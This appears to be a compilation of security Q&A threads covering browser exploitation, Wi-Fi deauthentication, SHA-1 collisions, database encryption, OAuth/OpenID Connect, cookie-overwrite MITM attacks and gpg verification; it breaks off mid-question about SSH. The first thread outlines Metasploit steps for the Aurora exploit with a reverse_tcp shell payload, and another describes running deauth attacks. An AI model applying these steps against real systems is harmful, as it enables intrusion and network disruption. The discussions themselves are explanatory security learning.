How does Client-Side-Exploitation get the System-level-shell in Metasploit? For example, if my client is using a vulnerable Internet Explorer which was vulnerable to the Aurora Vulnerability (I know its old and patch, but for now, let's assume) then I use Metasploit Client-side exploitation payload.

Steps as follows:-

Run metasploit
Set Exploit "aurora exploit"
Set payload "payload/windows/reverse_tcp"
set srvhost, srvport
run

Now it will give us an URL through which if any Vulnerable web browser requested that URL with their browser and if the browser is vulnerable to it then it will exploit that vulnerability and gives us the shell of that system (Now we are on that system).

But how? I mean my exploit works only on the browser level, and how it connects it to the system level to give us the system shell.

Am I am missing something?

To understand how browser based exploits work, you should understand how browsers work. I have found a nice detailed article about it. How Browsers Work.

The summary point that you can get from the article related to the browser exploits is that browsers have javascript engines which translate javascript instructors into machine code. So the browser engines are translators between the browser and to your machine. Firefox's SpiderMonkey is an example for that. It is written in C/C++ as almost all browser engines.
Since each browsers have its own engines, the browser based vulnerabilities are specific to the browser( also even Operating system specific ) . An exploit code for Internet Explorer 6 probably will not work for Google Chrome, for example. In addition, if you search for more browser vulnerabilities, you will find out that the vulnerability platforms are changing. There are exploits work in only some Android versions for example. You can check out several vulnerabilities of Google Chrome as example; Google Chrome List of Vulnerability
.

Most of the browser exploits are rely on the classic buffer overflow attacks which is also used in Aurora exploit. Therefore, any vulnerability in these engines might be exploited by causing a buffer overflow by using javascript or html dom objects.

In short, Javascript or html can not lead to "Remote Code Execution" by any buffer overflow attack. itself. However, the vulnerability is exploited in the browser engine, not in the browser itself. Javascript or HTML are just used as a tool to exploit the vulnerability in the engines.  You can read more about Auroa vulnerability :
Rapid7 MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption and
also from here: CVE-2010-0249

EDIT:
I have found out an article about Microsoft Edge's Javascript Engine, it also describes well the principles of browsers' workflow; Microsoft Edge’s JavaScript engine to go open-source

Extra Reading: Understanding How the Chrome V8 Engine Translates JavaScript into Machine Code


Deauth not working on a certain network and I want to understand why I've done some research for the past hour but I can't find a definitive answer to what is happening.

So I use a AWUS036NHA, put it in monitor mode, sniff everything, then sniff the AP I want to do the deauth attack on, I don't see any clients, I'm like "OK maybe it's just some type of encryption or protocol I'm not aware of, no worry I will just do a 'global' deauth attack", then I launch the deauth attack with aircrack. I've tried every syntax flavor possible but none of the clients are disconnecting, I've even tried with the mac address of my phone that is connected to the AP.

The deauth attack worked on other networks but I can't figure out why it doesnt work on this one.

Then I noticed that the network I'm attacking is handling 2.4 and 5ghz. So I thought maybe that the problem is that my chipset can't cover both 2.4 and 5 so the network can just get away with the attack? I've also read that the IEEE 802.11w amendment/protocol can make deauth attacks useless but it's mostly used on enterprise networks?

I just want to understand why the attack doenst work and how I can check what is the problem instead of just abandoning.
Thank you and sorry for this beginner question.

The wireless card you listed supports 2.4GHz. If the target network and devices are on 5GHz, you will not be able to see or touch them without obtaining different hardware.

802.11w is not used very widely, and even where it is used, it does a relatively poor job of preventing layer 2 attacks.


What are the computing powers at Google? On the: http://www.netmux.com/blog/how-to-build-a-password-cracking-rig

We can see the following examples, they used 4 GPUs:

  Hashtype: SHA1 Speed.Dev.#*.....: 25963.3 MH/s

And according to: https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html

it took Google 110 GPUs (?) and 1 year to find a SHA-1 collision:

  Nine quintillion (9223372036854775808) SHA1 computations in
  total

to create a SHA1 collision.

1 year = 31540000 seconds.

pw rig url SHA1: 25963.3 MH/s = 25963300000 H/s / 4 = 6490825000 H/s/GPU

so according to the pw rig website, 110 GPU could do sha1: 31540000*6490825000*110 = 22519268255000000000

and Google did: 9223372036854775808

so the GPU that was used in the pw rig is 2.4x times faster regarding SHA-1 that the GPU used by Google?

The Question:: are the calculations correct?

The speed of basic GPU hashing like used in password cracking rig and the speed of GPU shattered hashing like used in Google's rig are not directly comparable.

For once, the Shattered attack don't just use regular SHA-1 algorithm, but deconstructs the SHA-1 algorithm in a way that makes it more likely to find a collision with less computations than a pure brute force. Such deconstructed SHA-1 algorithm may be slower than a straight up SHA-1, but is beneficial since it reduces the number of SHA-1 computation you need to do. Second, the speed of computing SHA-1 depends on the size of the data.

Another factor is that Cloud providers like Google likes to use standardized GPU when talking about performance. In case of Google Compute Engine, they seem to use Nvidia Tesla K80 as the standard GPU. Assuming that Google SHA-1 attack used the same GPU as used in Compute Engine GPU, then according to this WPA hash benchmark:

Tesla K80     150000      hash/s
GeForce GTX 1080  395000      hash/s

Note that this benchmark is against WPA rather than SHA-1. The speed ratio between the two GPUs (395000/150000=2.6) seems to roughly correspond with your calculation, but this is likely a coincidence.


Without exaggeration, what are the practical security implications of the anti-privacy legislation S.J. Res. 34 for the average Internet user? A resolution was passed in the US Senate today, that allows US ISP's to sell its users' "browsing data" and private information to third parties.

If this resolution becomes a law, does this mean that a third party who buys data in bulk can just search for a given name/id in the private browsing data set, and if there is a strong match (e.g., Facebook or a service that uniquely identifies a user with high probability in the visited URLs), the buyer can identify the remaining visited pages of this particular user? Can this information then be realistically published, hacked, or leaked (a la Trolltrace)?

Or, is the information sold actually more detailed (downloaded website data), or is the data actually significantly less invasive than described above?

Congress repealed a rule that had not gone into effect, so 'allows' isn't quite right. The FCC had a rule that would've prevented ISPs from some commercial use of the data they collect.  It was targeted at limiting the violation of ISP subscriber privacy.

ISP vs Destination site (Facebook etc):

Facebook already sells you to advertisers - but the rule would never have applied to Facebook, Google, or any destination site (except when Google fiber is your ISP).

Uniquely identify users:

As long as Facebook uses an encrypted channel (https) the ISP doesn't see your URLs. This leaves the ISP with destination, timing, and message size.  Identifying a unique user based on that data alone would prove impossible*.  Sites without encryption are an open book.

Since you like arstechnica:
"https://arstechnica.com/information-technology/2017/03/how-isps-can-sell-your-web-history-and-how-to-stop-them/"

Information detail:

Technically you're asking a legal question about what data can be shared in absence of an FCC rule.  Given that the laws of particular countries are typically only enforceable on entities within those countries, and given the amount of wrangling that usually accompanies laws, I don't believe anyone knows where the legal lines are drawn.  IANAL

The practical truth is that ISPs want to profile you and sell you to marketers.  This is the primary business model of Google and Facebook.

Arguably, ISPs know more about 'you' (absent a VPN) they can see every domain you visit, and when.
Arguably, Google and Facebook know more about 'you' because you have an individual account with them and they know specific information you access and 'like'.

IMHO Google and Facebook will remain more valuable to advertisers:

Google and Facebook profile individuals instead of locations.
Google and Facebook have a significant first mover advantage.
ISP information will be limited by the increasing prevalence of secure communication, and is nearly eliminated by VPN.
FCC rules aren't the only privacy laws.  ISPs might be vulnerable to defamation suits if they aren't careful.

[*] Theoretically, a determined ISP with a deep understanding of an encrypted site might find ways to fingerprint the various connections required to render a particular URL.  This metadata of the timing and pattern of content/ads served might be user and URL specific, but I doubt it would be economic to analyse as it would require privately held information about the inner workings of a dynamic site.


Should I be thinking about security at the database row/document level? Suppose I have a web application that is a social network.  In order for two people to have access to eachother's content they must become friends.

There is logic in the application to ensure both have improved eachother and once that happens, an update is made in each user's "friends" array.

I am wondering though; suppose some hacker found a way to append their user_id to another user's friends array.  Now he can view the other user's content unauthorized. For simplicity, assume that this is the only security flaw in the system.

How does one protect against this sort of possibility? Are there features in databases that handle this?

P.S. The database I happen to be using is MongoDB, but also curious to hear about others

Generally, what you are describing is the responsibility of the application layer and not the database layer. Your application needs to make sure that only mutually accepted friends are added to the list, and that proper authorization is required to access data.

This responsibility can not really be moved over to the database in any simple way, as Pascal explains. In the end, you will always need some mechanism by which the app tells the database that two people are friends. If the app can be tricked to to "lie" to the database, you have problems no matter what.

What you could do is block the app from updating tables, and instead rely on procedures that enforces your security contraints. But now you have just moved the problem to a new place. And probably to a programming language and development environment that is worse to work in. Trying to put application logic in the database isn't a hit.

So the application layer is the relevant one here. Focus your energy at securing that.


Data Encryption by Application vs Data Encryption in Database For a GDPR (EU General Data Protection Regulation) implementation, I need to encrypt some personal information. There are two ways we can encrypt the data:

Let the web application have the sole responsibility of encrypting and decrypting. The actual data in database is fully encrypted. This way, if the data is stolen, the data is safe (assuming my encryption is good).
Enable encryption on the database level and add the accessing web application as a trusted client. The encryption and decryption happens in database itself. This way, if the database credentials is known, the data is lost.

So which is the best way without compromising too much on performance?

Letting your database handle the encryption/decryption is probably for the best:

You don't need to write any encryption/decryption code and risk breaking your own security by accident. This also means, as Guntram Blohm pointed out, you won't have to prove your own security to be secure, if it comes down to it. And proving your custom software secure is as hard as you probably think it is, if not moreso.
Using the stuff built-in to your database is typically easier, e.g. Postgres lets you pick which columns and tables to encrypt, and their design only briefly has the keys and decrypted data on the server. Other databases are probably similar, but that's the only one I'm familiar with.
If you ever need to, say, generate a report based on the data, it'll be simpler to do that with an existing tool that supports encrypted databases than writing all the custom code yourself on the client-side.
If you ever need to do any filtering on the data that isn't on exact, case-sensitive values, the database will handle doing it efficiently for you, e.g. maintaining indices but keeping them encrypted until they're needed, and even then only decrypting the specific values they need at any given time.

There is one point in favor of client-side encryption, which you've already mentioned. It's a big one, but I don't think it outweighs the benefits above:

Your security will be slightly increased if you handle all encryption/decryption on the client side, because at no point does the database (and therefore any evil sysadmins/attackers in control of that server) know either the decryption key or the decrypted data. However, depending on the data and its usage, there are some cons to consider:

It's entirely possible you'll mess up your client-side encryption code and leak the data/key that way, either directly or through side channels.
You need to either trust an outsider or handle key-management yourself, which isn't trivial (and is very not trivial to support in code, if you want to avoid scheduled downtime every so often)
If you do mess up your code, you alone (well, your company alone -- you know what I mean) are responsible for fixing it and cleaning up the damage, and any fixes are just as likely to have bugs as your original code. Possibly more, given that you'll be stressed.
You'll either have to spend a lot of time performance tuning, or accept that your performance will be bad, or reduce security for easy performance gains (e.g. by short-circuiting a comparison or precalculating some constants or letting your compiler optimize the wrong bits). None of those are good things to do. The database server has already had a lot of people doing a lot of tuning; you'd be redoing all that effort from scratch.
For every single new dev, you'll need to either train them in good secure coding practices, or tell them not to touch the security-related bits of your code, neither of which is cost-effective or even generally that reliable.
If you need to implement fuzzy filtering client-side, you're basically going to have to do SELECT * FROM table; and manually decrypt and filter every single row, which is just... not going to go well. You'll be keeping the key in memory in a directly-web-accessible server for a long time, as a direct response to a request which can be sent by an attacker.

As Kevin points out, you also have the option of encrypting specific fields. For example, if you're storing a customer's username and credit card number, the latter definitely needs to be encrypted, but the former probably doesn't. You could include e.g. a CHECK constraint to ensure that you don't accidentally add an unencrypted credit card. Credit card numbers are a particularly good example of this, because you never need to do any sort of matching against them -- you only ever retrieve them from or store them to the database, so you can handle them efficiently from the client side.

However, note that good security is not one thing. Good security is doing everything right:

Analyzing your threat model to ensure you're guarding against the right threats
Using HTTPS for your whole website with valid, current certificates
Encrypting your database, one way or another
Encrypting the communication between your website and your database
Using SQL correctly to avoid SQL injection
Hardening your database server to protect it from attacks
Applying the principle of least privilege
And so much more.

However you handle your database, it's not the end of the road. Make sure you take care of everything.


Did I get it right? OAuth2, OpenID and OpenID Connect After a lot of research about authentication and authorization, I reached the following but not sure if what I reached is the correct thing so please help me out:

Authentication is who you are. Authorization is what can you do!

OAuth is for Authorization
OpenID is for Authentication
BUT you can use OpenID Connect which is an extra layer on top of OAuth2 to achieve an Authorization with a pseudo Authentication (we assume that if this person has rights to do this then they are the right person)

So using OpenID Connect is not the best thing to do since it's not an actual Authentication but then I searched some more for best ways to Authenticate and I didn't find anything but HTTP Basic(With SSL to get rid of man in the middle attack) or API Keys which both aren't that secure technically.

I'm kind of lost if I actually understood these concepts correctly and what should I actually use.

OpenID Connect is a federated identity protocol. Importantly, it defines the id_token which is an identity assertion that is analogous to a SAML assertion. It tells you who authenticated (i.e. the subject), who is the issuer of the assertion (i.e. the IDP), how the user authenticated (i.e. the acr or AuthnContextClassRef), when the user was authenticated, when the assertion expires, and many more important details. OAuth does not define such an identity assertion. SAML and OpenID Connect also define "metadata"--i.e. how the identity provider and relying party define the endpoint, keys, and crypto needed to validate an assertion. For example, how was the id_token signed? With what signing algorithm? OAuth has no comment on this topic. So without OpenID Connect, you would have to make up all this stuff yourself and define it. OpenID Connect standardizes this identity protocol using OAuth, so we can have standard client software and IDP implementations that are interoperable. It would be a sad world if you needed to know a different authentication API for every IDP. Read the old OReilly book on OAuth that tells you how to authenticate against Google, and then how to authenticate against Facebook just to get an idea how bad that world would be! And that was only two websites.


How to make sure that the cryptographic hardware accelerator is being used in am335x? I want to use the AES hardware accelerator in am335x. I was able to generate the cryptodev.ko and cryptosoft.ko drivers. From my application program I am making use of openssl apis in CBC mode, and I wanted to verify the hardware accelerator usage.

I could trace the control flow until driver/omap-aes.c. But for cat /proc/interrupts I got the entry for sham@53100000 but not for aes@53500000. What was the reason for this? How can I make sure that the hardware accelerator for AES is being used?

There is a TI wiki page for the Crypto hardware on the AM335x here. On that page there is a tutorial on how to compare the performance of the hardware accelerator versus the pure software implementation.

  After the modules are installed, OpenSSL commands may be executed which take advantage of the hardware accelerators through the OCF-Linux driver.  The following example demonstrates the OpenSSL built-in speed test to demonstrate performance.  The addition of the parameter -engine cryptodev tells OpenSSL to use the OCF-Linux driver if it exists.

Running time -v openssl speed -evp aes-128-cbc -engine cryptodev and time -v openssl speed -evp aes-128-cbc should produce very different results if the hardware accelerator is enabled and working correctly. You may also need to remove the crypto driver as that page suggests to see the difference. If you run those tests and see no appreciable difference in performance, that probably means the hardware isn't working, and you should make sure you properly configured the kernel (that information is also in the provided link).


MITM session injection/invalidation When sending a cookie back to the server, the browser does not send back the "secure" flag: the server cannot check whether the sent cookie really come from the "secure" origin (https://example.com). It might instead come from the corresponding non-secure origin (http://example.com). Moreover an attacker can use MITM to overwrite any cookie using the non-secure origin: this injected cookie will be sent by the browser to the secure origin as well.

So an attacker could use a MITM to log out someone from any HTTPs website:

Alice logs into B's https://example.com site (the site may be a full HTTPS website without any http:// corresponding website) and get a "secure" cookie;
Bob uses MITM to inject a  (this website need not exist at all as explained below) in any plain other HTTP website Alice is visiting;
Alice's browser fetches the "image" at http://example.com/;
Bob forges a response (the http://example.com website might not even exist at all) and resets the session cookie to any value;
Alice is logged out example.com.

Session pinning

Using a slight variation, Bob could create a fake user account on https://example.com, log into it, get the session ID and set it using the same technique on Alice's browser. This way Alice could be fooled into submitting private information on the fake user account. Bob then can log on using this fake account to get Alice's private information:

Bob creates an account on https://example.com with login;
Alice logs on https://example.com
Bob logs on https://example.com using his fake account and get a session ID for this fake account;
Bob MITM a  on any plain HTTP website Alice is visiting;
Alice's browser fetches the "image" at https://example.com;
Bob forges the response and sets a cookie using his session ID;
Next request of Alice on https://example.com is in fact using the fake account but she might not notice unless she checks her login at every page;
Alice submits some private data on the website (she adds a bookmark, makes a search engine request, uploads some photos …);
Bob logs on using the fake account and retrieves Alice's private data.

Is there any reason why it doesn't work? Is there any way to avoid this? Does this attack have a name? Is there any reference or discussion available on this (OWASP, security papers ...)? Has this vulnerability been used in practice? Is there any solution/plan to work around it by adding functionality to the browsers (maybe some new cookie header for per-origin cookies)?

This is slightly discussed in RFC 6265 section 8.6 "Weak Integrity".

What I'm describing is best described by the paper "Robust Defenses for Cross-Site Request Forgery" 2 as "Cookie Overwriting" (mentioned by fatfredyy).

Possible solutions

Use HSTS with includeSubDomains

Not very well supported (older browsers). Bootstrap issue as pointed out in an answer by Hendrik Brummermann.
Use SSL Session ID for session tracking instead of cookies

The SSL session ID cannot be injected by an MITMing attacker. Are the sessions stable with this kind of setup?
Use client certificate authentication for session tracking instead of cookies

Not very user friendly (and lack of standard "logout" functionality).

I don't really understand what you are saying, but I will try to understand/explain a few things.

First of all, the secure flag in cookie means that this cookie value will only be send when site is accessed via HTTPS connection.

Secondly, cookies are domain and path based so they won't be send to another domain, or path.

The attack that you're describing is known as CSRF Login attack, largely neglected/underestimated and marked as small risk little impact attack (imho falsely). You can read more in: "Robust Defenses for Cross-Site Request Forgery"

And finally If attacker is able to mount MITM with HTTP there is very little we can do and nothing will be as secure as HTTPS. So I will agree with you, to be secure sites should be full HTTPS only or not at all. Also as an additional measure web browsers could prevent overriding a secure cookie form HTTP response.


what is the difference between virus, worm, trojan and other malware Looking through the questions in IT security, I found out that there is no answer which cover this question in depth.

I am aware of the answer and just hope to see something detailed about:

main differences
tendencies in work
purpose
how to protect
how it is duplicating

These days most threats do not fall into any single of these categories, almost all will fall into more than one. These are called "blended threats" or more often simply just malware. It's rare that you see malware that only can replicate itself in one way, that's why malware is such a problem.

To be honest these terms don't mean much anymore, as there are many threats out there that don't fall into any of these categories, or more than one of these categories. You have to expect that malware will have several methods of spread. Malware may first be run by an unsuspecting user opening a PDF file from an email, but then spread to other systems over the network and USB sticks. Or it may arrive in a USB stick and spread itself by emailing a PDF to all known contacts.


KeepassXC gpg verification with sig file I downloaded the KeepassXC .AppImage file and was verifying it using first the .DIGEST file and then .sig file. While I was verifying the download using the .sig file I noticed something strange as I did not get the same results at they displayed. After importing their gpg keys and verifying the downloaded file I got the following output:

    gpg2 --verify --keyid-format long KeePassXC-2.2.2-2-x86_64.AppImage.sig
gpg: assuming signed data in 'KeePassXC-2.2.2-2-x86_64.AppImage'
gpg: Signature made Tue 24 Oct 2017 09:15:18 AM PDT
gpg:                using RSA key B7A66F03B59076A8
gpg: Good signature from "KeePassXC Release <release@keepassxc.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: BF5A 669F 2272 CF43 24C1  FDA8 CFB4 C216 6397 D0D2
     Subkey fingerprint: C1E4 CBA3 AD78 D3AF D894  F9E0 B7A6 6F03 B590 76A8

Here's their output displayed on their "verify signatures page" .

$ gpg --verify KeePassXC-$VERSION-x86_64.AppImage.sig
gpg: assuming signed data in 'KeePassXC-$VERSION-x86_64.AppImage'
gpg: Signature made Fri 17 Feb 2017 05:20:55 PM CET
gpg:                using RSA key C1E4CBA3AD78D3AFD894F9E0B7A66F03B59076A8
gpg: Good signature from "KeePassXC Release <release@keepassxc.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: BF5A 669F 2272 CF43 24C1  FDA8 CFB4 C216 6397 D0D2
     Subkey fingerprint: C1E4 CBA3 AD78 D3AF D894  F9E0 B7A6 6F03 B590 76A8

It says that the signature was "good" when I verified the file I downloaded. I just curious about one thing why does their output show all of the sub keys put together at "using RSA key C1E4CBA3AD78D3AFD894F9E0B7A66F03B59076A8" and mine only shows one sub key "using RSA key B7A66F03B59076A8"? Thanks!

In both cases - your example and the one linked - it is only showing the one key. The reason the latter example seems longer is not because it shows multiple keys concatenated together, but because in your case the key fingerprint was truncated (the full line 40 character line is the fingerprint, in case that wasn't clear). The fingerprint is a convenient way to identify keys, but you typically do not need to see the full fingerprint in order to figure out which key is being referenced from a known subset.

Your case:

  C1E4 CBA3 AD78 D3AF D894  F9E0 B7A6 6F03 B590 76A8

Their example:

  C1E4 CBA3 AD78 D3AF D894  F9E0 B7A6 6F03 B590 76A8

The flag "--keyid-format long" indicates that the output should be a 16 character key id, so you get 16 characters. (I'm not familiar enough with gpg to know if the output in their example is the full amount because the flag is not present, or if the default behavior is different in that version of gpg).


Using VPN in the UAE - safe or trackable? I'm currently in the United Arab Emirates, and I am wondering if Etisalat or the UAE can track what I am doing if I use the ZenMate VPN addon to Chrome?

Technically, if ZenMate is considered safe to use, then cannot see the communication.

Etisalat, like any other ISP, will see that you made a VPN connection to a particular service.  If ZenMate has no privacy issues (leaking of meta data, DNS queries, you installed backdoored version,  ...), then an ISP will not know what data you're sending and receiving over the channel.  Which is the same as any other end-to-end encrypted tunnel.

UAE ISP's however block several websites and services that clash with their (perhaps vague) policy, and this is backed by the UAE's cybercrime law; bypassing controls to access blocked content is against the law, but then it becomes a legal issue and this wasn't the question.


OAuth Token Translation (Opaque to JWT) I've seen couple of talks which suggested usage of OAuth token translation at the API gateway from opaque token to JWT token. What are the advantages and disadvantages of this approach, who should use it?

If we are using HTTPS I don't think this makes any difference in terms of token leakage.
Two disadvantages would be now clients can't deduce what they can do or if their token still active, and we must put all our API behind a gateway*.

*: I mean we could also put them behind n gateways as long as they talk to a single Authorization Server, but this puts n times the load to the AS.

Here is one example talk https://youtu.be/BdKmZ7mPNns?t=901

One remark on that:

  now clients can't deduce what they can do or if their token still active

The safest way to store the JWT is probably in a httponly (to prevent XSS) secure cookie (+ take measures against XSRF). If you do that, client-side code can't directly check the JWT anyway.

As for your initial question, I guess it can help give more control over revocation / session expiration. If you hand out the JWT to the end user, you are powerless until "exp" is reached (and this parameter has been decided by the issuer, which might not align with your own policies). With the opaque identifier, you keep control and can revocate access anytime. In a way, you keep old fashion session management while still leveraging JWT for delegated authentication.

http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/

  Unlike sessions - which can be invalidated by the server whenever it feels like it - individual
  stateless JWT tokens cannot be invalidated. By design, they will be
  valid until they expire, no matter what happens.

http://cryto.net/~joepie91/blog/2016/06/19/stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work/

  For a stateful service, you hand out a new short-lived, single-use
  token for each service - which is then exchanged on the service
  itself, for a session on that specific service. You never use the
  token itself as the session.


How to know which output length to request from PBKDF2? I feel like I'm asking a fairly obvious question here, but with it being so easy to make mistakes in this space, here goes.
From wikipedia:

DK = PBKDF2(PRF, Password, Salt, c, dkLen)
dkLen is the desired length of the derived key

How do I decide which is the "desired length"?

The output length for PBKDF2 is what you need. But there are details.

PBKDF2 is a Key Derivation Function: it produces a sequence of bytes of configurable length, whose intended purpose is to be used as keys for some symmetric encryption algorithm (or a MAC). So a first response is: if you want to use a symmetric encryption algorithm which expects, say, a 19-byte key, then you want 19 bytes out of PBKDF2.

Now for the details:

PBKDF2 has a drawback, which is that it produces data by blocks, and has a cost which is proportional to the number of blocks that you are asking from it. For instance, if you use PBKDF2 with HMAC/SHA-1 as inner PRF (that's the usual case), then you get bytes by blocks of 20. If you want, say, 24 bytes, then PBKDF2 will need to produce two blocks, and this will be twice as expensive as if you wanted 20 bytes or less.

This is unfortunate because PBKDF2 is intentionally slow, in order to defeat exhaustive search on the password. However, depending on how you use the PBKDF2 output, the attacker might be able to "test" a password on the first block of PBKDF2 output only; in effect, this may give a x2 or x3 performance boost to the attacker, which is counterproductive.

The suggested work-around is to produce one block of output with PBKDF2 (say, 20 bytes), then expand these 20 bytes with another, fast KDF, into as many bytes as you need. HKDF is a fast KDF with good repute.
PBKDF2 is often abused into password hashing. With password hashing, you don't really use the output, you just store it for ulterior comparison. For such a use, you need to store sufficiently many bytes so that attackers don't "get lucky": finding an output matching what was stored should be overwhelmingly improbable. If you use PBKDF2 for password hashing, then 12 bytes of output ought to be fine, with a non-negligible security margin.


How to prevent username and password matches when changing a username? Let's say that I have a system where one of the security requirements is preventing users from choosing a password that matches their username.  Usernames are not case sensitive but the passwords are.  The passwords are stored by the server using a secure hashing function that cannot be reversed.

When the account is created both the username and password are initially available in plaintext to the server for comparison.  We can compare them in memory (while disregarding case) to see if they match and instruct the user to choose a different password if they do.  Once this check is satisfied the password is securely hashed for storage while the username is stored in plaintext.  No problems meeting the requirement here.

When the user wants to change their password, or it is being changed for them, the server can retrieve their username record and compare it to the newly chosen password value (again ignoring case) to see if it matches.  No problems meeting the requirement here either.

However, the system also allows username changes.  During this ID change process the user hasn't necessarily provided their password in plaintext to the server.  They may have done so when they authenticated, but the server isn't going to keep that password stored in plaintext just in case they decide to change their username.  So the plaintext password is not available to check for a match against the newly chosen username value.

In an attempt to meet our requirement the server can use the same secure hashing function to hash the new username and compare it to the recorded hashed password.  If they match then the server can instruct the user to choose a different username.  However, since the username is not case sensitive this check might fail when it is arguably true.  If I submit "PwdRsch1" as a new username choice and my password is "pwdrsch1" then the system will allow it since the hashes won't match.  I -- or worse, an attacker -- could then later successfully authenticate with a matching username and password of "pwdrsch1".

We could force the username to lowercase before hashing and checking it against the password, but then the reverse scenario is possible.  The username would be checked as "pwdrsch1" against a password of "PwdRsch1" and allowed since these don't match.  But later I can successfully authenticate with a matching username and password of "PwdRsch1".

What reasonable options do I have to reduce this risk of a password matching a username that is not case sensitive?

The only sensible way to get what you want is to ask for the password when a user changes their username.  This way the server always has the information needed to conduct an accurate comparison between the username and password during a change, and prevent matches.

As sensitive operations - such as changing passwords, or in your case usernames - should require a password anyways (to limit the damage of XSS), this shouldn't be a problem.

Your only other alternative is to try every possible case combination, hash it, and compare that to the stored hash when a user changes their username.


Force specific encryption cipher for S/MIME mails I have a number of contacts who can only decrypt 3DES, when it comes to S/MIME encrypted mails. I'm aware that this is by far not ideal, but better than no encryption at all.

My problem is, that I can't find a way to force Thunderbird to use 3DES for specific mails. Thunderbird itself doesn't seem to have an option, so I've installed the Enigmail plug-in, which states in the FAQ:

  Note that you can force usage of a specific symmetric algorithm by using the GnuPG option --cipher-algo, but this is not recommended; this option can easily break things and is intended for debug purposes only.

This sounds good, but the setting does not change a thing for me.

I've also asked on the mozilla support page and on the enigmail support page

I'm baffled that there's no obvious solution to this.

How can I force Thunderbird to use a specific encryption cipher for S/MIME encrypted mails?

I tried to find out a little more about how and where Thunderbird stores the ciphers of the communication partner, but it looks like it's not actually stored with the user or his/her certificate. Therefore, Thunderbird uses a default cipher, probably as defined in the S/MIME RFC it implements. There seems to be no way for the user to set the default cipher.

The only way I can think of to make Thunderbird respect the other side's ciphers properly, is not to create new emails, but to always reply to an existing one.


Why does OpenID Connect ("OIDC") use a `nonce` claim instead of the `jti` registered claim According to the spec, OpenID Connect uses nonce as the registered claim name, but RFC 7519 already includes a registered claim named jti for this same purpose.

Was this an oversight, or was there something wrong with the way jti was specified (or implemented)?

Is there a mailing list entry within OpenId where I could find this information?

The jti (JWT ID) is chosen by the authentication server in order to identify a token.  As per OpenID Connect, section 9:

  JWT ID. A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties; any such negotiation is beyond the scope of this specification.

The nonce is chosen by the application and passed as a parameter in the authentication request.

  String value used to associate a Client session with an ID Token, and to mitigate replay attacks. The value is passed through unmodified from the Authentication Request to the ID Token. If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request. If present in the Authentication Request, Authorization Servers MUST include a nonce Claim in the ID Token with the Claim Value being the nonce value sent in the Authentication Request. Authorization Servers SHOULD perform no other processing on nonce values used. The nonce value is a case sensitive string.

So they serve different purposes.  And the nonce predates JWT bindings in OAuth2 (although very vaguely defined), and applies even if you use opaque token strings.

Another answer here explains the difference between the state and nonce parameters.


Is it possible to do XSS attack in server side programming language? As far I know, when using 3rd party library of client side programming language/Javascript, you are vulnerable to XSS attack.

Is it also vulnerable when using 3rd party library in server programming language (PHP/Golang/Java) like XSS attack in 3rd party router library?

Maybe it's silly question, but I don't know where to start. Thank you.

The definition of XSS means it's client side. The XS stands for cross site.
XSS does not require 3rd party code.
Third party code is not an inherent security threat. Code you write yourself likely isn't as good, likely hasn't been tested as much, and hasn't received enough scrutiny for security problems. (Third party includes, however, have many non-XSS security issues.)


How to ensure the traffic between vm and host doesn't mix in Windows? I'm looking forward to using a volatile VM. And according to this source :

  By default, network address translation (NAT) is configured by the virtualization software such that the guest OS shares an IP address with the host. Effectively, this means the two share an internet connection and packets could be intercepted, in both directions on both machines.

But what about using bridged adapter ? It has it own local IP so it talks directly to router I thought ?

Can someone more knowledgeable explain why this is not the case, if a external WiFi adapter is the only true solution, and regarding this topic how other options like " Internal Network " and " Host-Only network " apply.

I'm talking about VirtualBox or similar under Windows.

If you use a bridged configuration then NAT will not occur. The guest system will request and configure its own IP address from the adjacent segment. If you have the guest configured in a shared configuration then an IP addressed will be assigned by your virtualization software and NAT will be used to communicate with the adjacent network segment.


What is the name for building trust on a platform before pillaging? What's the common or recognized name for a vulnerability on a platform where someone can build trust and than pillage/exploit that trust for profit or information? It's driving me crazy, and I constantly forget it every time I want to use it, and than I'll read it in a paper a few months latter.

Sybil Attack

  the attacker subverts the reputation system of a peer-to-peer network
  by creating a large number of pseudonymous identities, using them to
  gain a disproportionately large influence. A reputation system's
  vulnerability to a Sybil attack depends on how cheaply identities can
  be generated, the degree to which the reputation system accepts inputs
  from entities that do not have a chain of trust linking them to a
  trusted entity, and whether the reputation system treats all entities
  identically.

https://en.wikipedia.org/wiki/Sybil_attack


Hash password with bcrypt before encrypting document with openpgp Hi all first time posting thanks for putting together this great community.

I'm working on an extension to allow users to store encrypted documents on a server I host. I'd like to avoid having them re-enter their password each time they want to encrypt or decrypt a document, but I'm also hoping to avoid having to hold onto their password, even if just in memory.

For logging in, my thought process for this is to hash the password on the client with bcrypt and send that to the server. On the server I'll hash the input from the client and store both the client's and server's salts.

For encryption, I'll hash the password on the client again with bcrypt and a different salt (I'll also store this salt on the server so the user can regenerate the hash). I'll then generate a key pair with openPGP for encrypting the document. I'll encrypt the private key with a symmetric key generated from the password hash and I'll store the encrypted private key, encrypted document, and public key on my server.

My question is if there's any concern in using a hash as an input to openpgp or in generating two different hashes from the same password using two different salts.

I'll then generate a key pair with openPGP for encrypting the document. I'll encrypt the private key with a symmetric key generated from the password hash and I'll store the encrypted private key, encrypted document, and public key on my server.

Edit: I don't see a cryptographic weakness in this, however it seems very complicated for what you are trying to achieve. I'd suggest that you write down your exact requirements and then look for the most simple way in which your infrastructure and cryptography can fulfill them.

For example, I don't see a particular reason to use asymmetric encryption here (besides it being ridiculously slow compared to symmetric encryption).

  any concern [...] in generating two different hashes from the same password using two different salts.

No. Salt just "extends" the original data to make it harder for an attacker to use rainbow tables once they get your database. To my knowledge there is no attack, which allows (or makes easier) breaking the hash, if two hashes with different salts are provided.


SSH version outdated - closing port enough? we receive a weekly security report for our websites. It said our SSH version was outdated (we have OpenSSH_6.7p1, they recommend 7.5 or later).

Since there is no stable version for our distribution yet, we thought we'd just close port 22 on all internet facing machines (good practice anyways isn't it?).

Today came the new report. It still states 10 issues regarding the SSH version.

So my questions are:

